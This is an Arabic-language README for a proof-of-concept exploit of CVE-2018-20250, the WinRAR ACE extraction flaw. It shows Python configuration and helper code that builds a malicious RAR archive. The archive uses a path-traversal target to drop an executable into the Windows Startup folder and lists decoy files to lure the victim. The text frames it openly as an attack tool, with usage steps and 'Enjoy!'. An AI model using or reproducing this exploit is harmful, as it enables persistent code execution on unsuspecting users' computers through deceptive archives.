
نص استغلال لـ CVE-2018-20250 يقوم تلقائياً بإنشاء أرشيفات RAR خبيثة لتحقيق تنفيذ الأكواد عبر ثغرة استخراج ملفات ACE في WinRAR.
exp لـ استخراج تنفيذ الأكواد من وينرار
الكود البرهاني بواسطة Ridter
كيفية الاستخدام؟
كل ما عليك فعله هو تثبيت Python 3.7، وإعداد ملف خبيث تريد تشغيله، وتعيين القيم التي تريدها، سينتج هذا السكريبت الخبيث ملف الأرشيف الخبيث تلقائيًا!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
قم بتشغيل الاستغلال، سيُنتج الاستغلال ملف test.rar تلقائيًا
إذا فتح الضحية ملف test.rar، سيرى الملف hello.txt و world.txt، يمكنك أيضًا إضافة المزيد من الملفات، ملفات أكثر جاذبية.
![]()
hi.exe، وهو في الواقع calc.exe. عندما يعيد تشغيل الكمبيوتر، سيتم تشغيل hi.exe.![]()
استمتع! :)